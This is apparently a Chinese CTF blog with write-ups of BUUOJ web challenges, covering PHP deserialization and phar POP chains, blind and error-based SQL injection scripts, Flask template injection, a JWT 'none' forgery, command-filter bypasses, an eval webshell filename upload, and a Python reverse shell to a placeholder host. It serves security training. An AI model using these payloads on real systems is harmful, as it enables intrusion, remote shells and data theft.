于是利用蚁剑的bypass的插件来bypass disable_functions。该插件的利用原理大概在这里,利用历代php的漏洞来进行绕过。我们使用PHP_GC_UAF,该漏洞利用堆溢出执行命令,使用版本7.0-7.3。

读取flag。

[MRCTF2020]Ezpop

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

经典的反序列化链题,整个链子利用规律比较明显,题目也比较有意思,毕竟自己之前没有挖过几条完整的链子。

回顾一下反序列化的函数:

__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

首先是Modifier类,这里有个包含文件的操作,于是推测这里可以包含flag.php文件:

class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';

}
$modifier = new Modifier();

如果要调用append()函数,需要调用__invoke(),该函数在对象被通过函数的方式调用时调用。于是可以很容易找到这样的类。

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

Test类的魔术方法__get传入动态变量调用函数,如果这时传入的函数$function变量为Modifier类,就可以调用__invoke。可以这样构造链:

class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';

}
class Test{
    public $p;
}
$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;

之后就是找可以调用Test类的__get魔术方法的类了。

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

Show类中有两个魔术方法,那么主要看__toString()函数,该函数最终return $this->str->source。这边比较绕,思路也很巧妙,__wakeup()函数对$this->source进行了参数过滤,其中将$this->source当做字符串,如果$sourceShow类型变量,那么就会触发类的__toString,该构造链就可以构造成功了。所以我们需要创建一个Show变量,用$Show->source存储另一个Show类变量,该变量的$str变量为Test变量,调用该变量的$source变量(尽管为空),触发__get方法。

我们先创建一个Show类型的变量,存储$test变量。

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;
$show1 = new Show();
$show1->str=$test;

接着创建第二个Show类型的变量,将之前创建的Show变量作为Source:

$show2 = new Show();
$show2->source=$show1;

然后反序列化可解。

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;
$show1 = new Show();
$show1->str=$test;
$show2 = new Show();
$show2->source=$show1;
echo urlencode(serialize($show2));

[GWCTF 2019]枯燥的抽奖

广外的,当年还打过。

接口请求了check.php

写脚本:

<?php

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

$str_show = 'faANNqh47O';

for ($value = 0; $value < strlen($str_show); $value++) {
    echo strpos($str_long1, substr($str_show, $value, 1)) . ' ' . strpos($str_long1, substr($str_show, $value, 1)) . ' 0 61  ';
}

php_mt_seed爆破

写个脚本代入就出了

<?php
mt_srand(50560444);

$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;

?>

这题比较坑的是PHP版本必须在7.1以上,我拿着5.6去弄,就踩坑了,贼恶心,不够细心。

[PwnThyBytes 2019]Baby_SQL

source.zip文件泄露,审计源码

index.php中对所有输入的参数进行了单双引号以及反斜杆的过滤,这里不可注或者说难以注入。

<?php
session_start();

foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;

function filter($value)
{
    !is_string($value) AND die("Hacking attempt!");

    return addslashes($value);
}

isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');

?>

login.php主要是对数据库进行SELECT操作,这里的usernmae可控,可以注入,那么我们需要绕过index.php的WAF来直接对login.php进行SQL注入,主要的就是绕过SESSION检测。

<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

?>

由于这里来判断是否登录只是单纯的判断了是否设置了SESSION,那么我们可以自己设置SESSION。这里用到SESSION_UPLOAD_PROGRESS,具体参见这篇文章:https://xz.aliyun.com/t/9545。由于没有回显,用了盲注。写了一个时间复杂度还算可以的脚本,凑合着用吧。

import requests


def post(i, j):
    sessid = 'tmp' #设置sessionid为cookie,与文件名相关联
    session = requests.session()
    payload = "admin\" or (ascii(substr((select secret from flag_tbl),%d,1))>%d)#" % (i, mid)
    response = session.post(
        url='http://6d257146-aac3-43a9-b036-cb2992e4d11e.node3.buuoj.cn/templates/login.php',
        data={'PHP_SESSION_UPLOAD_PROGRESS': "file_content"},
        cookies={'PHPSESSID': f'{sessid}'},
        files={"file": ('tmp.txt', '')},
        params={
            "username": payload,
            "password": "123456"
        }
    )

    return response.text


if __name__ == '__main__':
    flag = ''
    for i in range(1, 50):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            res = post(i, mid)
            if 'meta' in res:
                low = mid + 1
            else:
                high = mid
            mid = (low+high)//2
        if mid <= 32 or mid >= 127:
            break
        flag = flag+chr(mid)
        print(flag)

[RCTF2015]EasySQL

进入后台之后有个修改密码功能,猜报错注入。注册页面有危险字符过滤,由于BUU的靶机顶不住fuzz,只能稍微fuzz了一下,一堆429,发现反斜杠、括号以及单双引号还是都能用。

因为没有白盒,尝试注入一下,这里的注入语句比较骚,我自己没猜到。

注册之后修改密码,可以看到报错提示:

那么可以猜出来查询语句的结构:

select * from user where username="{$username}" and pwd='{md5($password)}'

比较难搞的就是pwd的变量是有经过md5编码的,那么注入点就只能从$username搞起来了。又是二次注入,每次都需要注册再修改,很蛋疼。尝试报错注入,由于不能扫,本地拼接了再远程,很麻烦:

admin"||updatexml(1,concat(0x7e,(version()),0x7e),1);#
admin"||updatexml(1,concat(0x7e,(select(group_concat(TABLE_SCHEMA))from(information_schema.tables)),0x7e),1);#

(太长了出不来,建议直接database()好吧)

admin"||updatexml(1,concat(0x7e,(select(group_concat(TABLE_NAME))from(information_schema.tables)WHERE(TABLE_SCHEMA=database())),0x7e),1);#
admin"||updatexml(1,concat(0x7e,(select(group_concat(COLUMN_NAME))from(information_schema.columns)WHERE(TABLE_NAME='users'))),1);#
admin"||updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users))),1);#

强行填充长度,很恶心,有两种方法,逆序输出或着截取字符串这种截取字符串的方法,或者正则表达式匹配。

admin"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
admin"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1));#

口嗨一下,以后二次注入一定要写脚本,手动二次修改不是人干的事情,参考peri0d师傅的脚本,那就一个舒服:

import requests

url_reg = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/register.php'
url_log = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/login.php'
url_change = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/changepwd.php'

pre = 'peri0d"'
suf = "'))),1))#"

s = 'abcdefghijklmnopqrstuvwxyz1234567890'
s = list(s)

r = requests.session()

def register(name):
	data = {
		'username' : name,
		'password' : '123',
		'email' : '123',
	}
	r.post(url=url_reg, data=data)

def login(name):
	data = {
		'username' : name,
		'password' : '123',
	}
	r.post(url=url_log, data=data)
	
def changepwd():
	data = {
		'oldpass' : '',
		'newpass' : '',
	}
	kk = r.post(url=url_change, data=data)
	if 'target' not in kk.text:
		print(kk.text)

for i in s:
	paylaod = pre + "||(updatexml(1,concat((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
	register(paylaod)
	login(paylaod)
	changepwd()

[CISCN2019 华北赛区 Day1 Web1]Dropbox

注册登录,有个网盘管理功能,直接在POST区域提交文件名,于是利用文件名读取网站文件。

重点在class.php,定义了三个类User、FileList、File,User与数据库交互,FileList和File用来显示和下载文件。

其中这里有个__call方法:

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

在不存在方法时被调用,这里似乎提供了构造POP链进行反序列化的思路,看一下是否有什么读取文件的利用点。

    public function close() {
        return file_get_contents($this->filename);
    }

File类中存在close()方法,可以返回读取文件的内容。巧合的是在User类中有调用同名方法,在__destruct()中关闭数据库连接:

    public function __destruct() {
        $this->db->close();
    }

整个链构造比较简单,在User类中触发__destruct(),调用FileList的close()方法,由于FileList不存在close()方法,进而调用FileList的__call()方法,调用FileList类中$files中的方法$file->close(),进而触发读取文件file_get_contents()。

剩下的就是找到反序列化点,这里没有任何能直接传入反序列化字符串的点,但是有文件上传功能,于是考虑phar反序列化。在delete.php(download.php中也有)

if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}

在调用open函数时,调用了file_exists,该函数可以触发phar伪协议进行反序列化,尽管没有进入if语句,但是仍然是触发了。

exp(写的比较乱):

<?php

class User
{
    public $db;

    public function __construct($db)
    {
        $this->db = $db;
    }

    public function __destruct()
    {
        $this->db->close();
    }
}

class FileList
{
    private $files;
    private $results;
    private $funcs;

    public function __construct($files)
    {
        $this->files = array($files);
        $this->results = array();
        $this->funcs = array();
    }

    public function __call($func, $args)
    {
        array_push($this->funcs, $func); // $this->funcs = array('close')
        foreach ($this->files as $file) { // $this->file = ($file)
            $this->results[$file->name()][$func] = $file->$func(); // $file->close()
        }
    }
}

class File
{
    public $filename;

    public function __construct($filename)
    {
        $this->filename = $filename;
    }

    public function name()
    {
        return basename($this->filename);
    }

    public function close()
    {
        return file_get_contents($this->filename);
    }
}

$file = new File('/flag.txt');
$list = new FileList($file);
$user = new User($list);

$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
$phar->addFromString('test.txt', 'test');  //添加要压缩的文件
$phar->setMetadata($user);  //将自定义meta-data存入manifest
$phar->stopBuffering();

上传后删除时添加协议即可。

[MRCTF2020]套娃

第一层,利用PHP获取变量自动转化为合法值以及弱类型比较:

b u p t=23333%0a
b[u[p[t=23333%0a

提交之后爆了400,问了一下是靶机的问题,直接跳过这步去下一步了。

第二步jsfxxk,post就可以到后面了。

第三步ip头混淆+php逆向,发个混淆:

X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1

逆向比较简单:

function re($file) {
        $re = '';
        for ($i = 0; $i < strlen($file); $i++) {
            $re .= chr (ord ($file[$i]) - $i * 2);
        }
    return base64_encode($re);
}

[BSidesCF 2019]Kookie

[FBCTF2019]RCEService

这题还挺骚的,没源码我基本是过不到最后的,而且他题目也没说环境变量什么的…..但总体还算简单吧

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

严格的过滤机制,但是没有匹配换行,直接换行绕就可:

/?cmd={%0a%0a"cmd":"ls /"%0a%0a}

最终找到了flag,但是不能执行cat或者nl为什么呢?注意文件头包含这段

putenv('PATH=/home/rceservice/jail');

这里告诉我们这个文件包含的路径下包含了ls的二进制文件,所以可以执行ls命令,最后执行cat的时候填入cat命令的路径就可。

?cmd={%0a%0a"cmd":"/bin/cat /home/rceservice/flag"%0a%0a}

[Zer0pts2020]Can you guess it?

猜字符串游戏,了解一下几个函数的机制:

hash_equals ( string $known_string , string $user_string ) : bool

比较两个字符串,无论它们是否相等,本函数的时间消耗是恒定的。

本函数可以用在需要防止时序攻击的字符串比较场景中, 例如,可以用在比较 crypt() 密码哈希值的场景。

random_bytes(int $length)

生成适合于加密使用的任意长度的加密随机字节字符串,例如在生成salt、密钥或初始化向量时,一般配合bin2hex()函数使用。

bin2hex()

把ASCII字符串转换为十六进制值

我们可以看一下hash_equals()内部实现机制

<?php
if(!function_exists('hash_equals')) {
    function hash_equals($a, $b) {
        if(!is_string($a) || !is_string($b)) {
            return false;
        }

        $len = strlen($a);
        if($len !== strlen($b)) {
            return false;
        }

        $status = 0;
        for($i = 0; $i<$len; $i++) {
            $status |= ord($a[$i]) ^ ord($b[$i]);
        }

        return $status  === 0;
    }
}

基本上可以说整个流程是很安全的,所以突破口又回到了前面的文件包含。

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}

记录一下三个$_SERVER的区别:

网址:https://www.shawroot.cc/php/index.php/test/foo?username=root

$_SERVER[‘PHP_SELF’] 得到:/php/index.php/test/foo
$_SERVER[‘SCRIPT_NAME’] 得到:/php/index.php
$_SERVER[‘REQUEST_URI’] 得到:/php/index.php/test/foo?username=root

漏洞点:$_SERVER['PHP_SELF']提交index.php/config.php时,经过basename过滤后只剩下config.php,需要绕过的只有正则,basename只能转换ASCII码内的字符,通过超过ASCII码范围的字符进行绕过。

/index.php/config.php/%dd?source

[CISCN2019 总决赛 Day2 Web1]Easyweb

备份文件泄露,image.php.bak:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

明显的SQL注入,过滤是先将字符串中的'"\添加上反斜杠,再将所有的\0%00\'四个符号替换为空。

这里就存在一个多层过滤反而造成漏洞的问题,传入\0后会添加\为\\0,经过替换为空剩下\,注释掉字符串拼接后的字符,语句变成了这样。

select * from images where id='\' or path='{$path}'

盲注:

import requests

if __name__ == "__main__":
    result = ""
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            # url = f"http://4cbf7e65-8140-46e5-9290-d5b20b810fc9.node4.buuoj.cn/image.php?id=\\0&path=or id=if(ascii(substr((select username from users),{i},1))>{mid},1,0)%23"
            url = f"http://4cbf7e65-8140-46e5-9290-d5b20b810fc9.node4.buuoj.cn/image.php?id=\\0&path=or id=if(ascii(substr((select password from users),{i},1))>{mid},1,0)%23"
            response = requests.get(url)
            if response.text.find("JFIF") != -1:
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        result += chr(mid)
        print(result, end="\n")
username: admin
password: 34b554ef83fbe7e7e859

进来之后是文件上传,这就比较简单了,由于过滤了php,我们用短标签文件名绕过即可。

------WebKitFormBoundary7kJGMqV6oJpewWgp
Content-Disposition: form-data; name="file"; filename="<?= @eval($_POST['shell']);?>"
Content-Type: application/octet-stream

111

------WebKitFormBoundary7kJGMqV6oJpewWgp
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundary7kJGMqV6oJpewWgp--

[CSCCTF 2019 Qual]FlaskLight

过滤了__global__关键字,用字符串拼接绕过即可。

{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

[网鼎杯 2018]Comment

爆个密码

import requests

for i in range(100, 999):
    url = "http://f3caed00-9b73-4517-a2de-e172ccadda8e.node4.buuoj.cn/login.php"
    data = {
        "username": "zhangwei",
        "password": f"zhangwei{i}"
    }
    res = requests.post(url=url, data=data)
    if "429" in res.text:
        i = i - 1
    elif "error" not in res.text:
        print(i)
        print(res.text)
        break

怀疑有二次注入,不得其解,查阅wp之后发现有git泄露,我又年轻了。

发现这里的php代码不全,于是查看前面的版本的文件

存在二次注入,先Write后进行Comment,每次都进行了addslashes过滤,传入的category=',content=user(),/*后面的content进行闭合*/#

撸个脚本方便命令执行(直接改command参数即可):

import requests
import reimport requests
import re


def write(url):
    command = "(select load_file('/etc/passwd'))"
    headers = {
        'Cookie': 'PHPSESSID=p5r4f36q04dj6v0r02mshrh737',
    }
    data = {
        "title": 1,
        "category": f"',content={command},/*",
        "content": 2
    }
    res = requests.post(url=url + "write_do.php?do=write", headers=headers, data=data)
    cid = re.findall("<input hidden name='id' value='(\d*)'>", res.text)[-1]
    comment(url, cid)


def comment(url, cid):
    headers = {
        'Cookie': 'PHPSESSID=p5r4f36q04dj6v0r02mshrh737',
    }
    data = {
        "content": "*/#",
        "bo_id": cid
    }
    res = requests.post(url=url + "write_do.php?do=comment", headers=headers, data=data)
    out = re.findall('</label><div class="col-sm-5"><p>([\s\S]*)</p></div></div>', res.text)[-1]
    print(out)


if __name__ == "__main__":
    url = "http://f3caed00-9b73-4517-a2de-e172ccadda8e.node4.buuoj.cn/"
    write(url)

数据库里面没有flag,尝试读取文件也没有找到,这里就学废了,只能看wp了。

这里是通过读取.bash_history来查看之前的操作并且找到flag的,这里就有几个疑问,既然拿到了root权限,为什么我不能尝试写入文件或者遍历目录呢。

于是我先尝试了遍历目录,后面尝试了写入文件(直接写入文件或者建表后导出),发现主要问题所在:尝试写入文件的命令没有返回值,content拿不到执行命令后的回显所以产生了报错,所以写不了文件,后面尝试联合注入写文件也无效,感觉又是被ban了关键字,不得其解,希望有大佬可以解答一下。

查看历史记录

在终端敲过的命令,linux是有记录的,默认可以记录500条历史命令。这些命令保存在用户的宿主目录中的.bash_history文件中。

    command = "(select load_file('/home/www/.bash_history'))"

大概流程:将tmp目录下的html.zip解压移动到/var/www/目录下,并且删掉目录下的.DS_Store,然后开启Apache服务器,但是/tmp/html/下的.DS_Store没有删除。

默认情况下,Mac OS X的Finder程序会在进行存取的每个目录下创建.DS_Store文件,甚至是在远程系统上的目录(例如通过SMB连接或者蘋果文件協議连接来共享的目录),并且甚至如果用户仅仅通过移动该目录的Finder窗口自定义了其显示。[3] 这与既存的在先前版本的Finder中为了同样目的所使用的方式的系统形成了对比,先前的只会放置一些不可见文件于卷的根目录下(甚至在外部文件系统上),并总是将整个驱动器的所有目录的设置与元数据存储在这类文件的单一集合中。

由于该文件为二进制文件,有不可见字符,用hex函数转换读取。

找到文件flag_8946e1ff1ee3e40f.php

    command = "(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')))"

这题的动态flag只设置在了/var/www/html/目录下,/tmp/目录下面没有修改动态flag,其实不太符合题目逻辑,但是也不打紧。

[SWPUCTF 2018]SimplePHP

存在任意文件下载,拉下来六个文件

比较重要的就是class、file、function文件,看文件闭着眼睛就能推测有phar反序列化,上传的phar文件反序列化getshell,接下来就是理清利用链了(不过PHP8已经禁止phar反序列化了,感觉没意思)。

更新一下判断phar的原因:有文件上传点,有文件读取点,且文件后缀名存在过滤,但是phar反序列化不受影响;过滤了很多协议,但是没过滤phar协议、class.php中存在pop链利用的可能,但是没有unserialize()。

<?php

class C1e4r {
    public $test;
    public $str;

    public function __construct() {
        $this->str = new Show();
    }
}

class Show {
    public $source;
    public $str;

    public function __construct() {
        $str['str'] = new Test();
    }
}

class Test {
    public $file;
    public $params;

    public function __construct() {
        $this->params['source'] = "/var/www/html/f1ag.php";
    }
}

$c1e4r = new C1e4r();
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c1e4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();

?>

修改文件名上传,计算md5拿flag。

[HFCTF2020]EasyLogin

解题过程:注册的时候尝试注册admin,未果推测有admin账号,登录后果然是没有权限,想到的考点无非就是Cookie越权,看了一下aok参数有eyxxxxx的字符串,很像jwt的格式,拖去解码:

并不能说完全像吧……直接修改username之后又弹出去了,推测应该还是有session校验,于是尝试登录抓包,找到了提交的字符串(话说出题人直接把jwt当post数据提交真的好吗,会有人这样写代码吗),但是最后修改了验证没通过。

最后才知道要看app.js的……qaqtcl

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

controllers/api.js

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};
{"mode":"full","isActive":false}

学到了jwt加密生成方式,即jwt伪造。

关键代码在这里:

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

直接把加密方式改为none,重新加密,分别编码

{"alg":"none","typ":"JWT"}.{"secretid":[],"username": "admin","password": "123456","iat": 1587632063}.

username=admin&password=123456&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiMTIzNDU2IiwiaWF0IjogMTU4NzYzMjA2M30.

成功后请求api/flag拿flag。

[网鼎杯 2020 白虎组]PicDown

直接请求拿flag

非预期了,正解:

?url=../../../proc/self/cmdline

看到用py2执行了app.py,读取文件:

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

可以看到获得了secret.txt文件,但是已经被删除了,可以在/proc/pid/fd/读取,这个目录包含了进程打开的每一个文件的链接,3可以读取到secret.txt。

要反弹shell,比较棘手。

/no_one_know_the_manager?key=2e3658a3c99be231c2b3b0cc260528c4&shell=python%20-c%20%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22xx.xx.xx.xx%22,8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/bash%22,%22-i%22]);%27

[HCTF 2018]Hideandseek

先用guest登录,提示上传zip文件,上传后进行解压,利用软链接实现任意文件读取

ln -s /etc/passwd 1.jpg

压缩1.jpg上传

zip -y 1.zip 1.jpg

读取/proc/self/envion

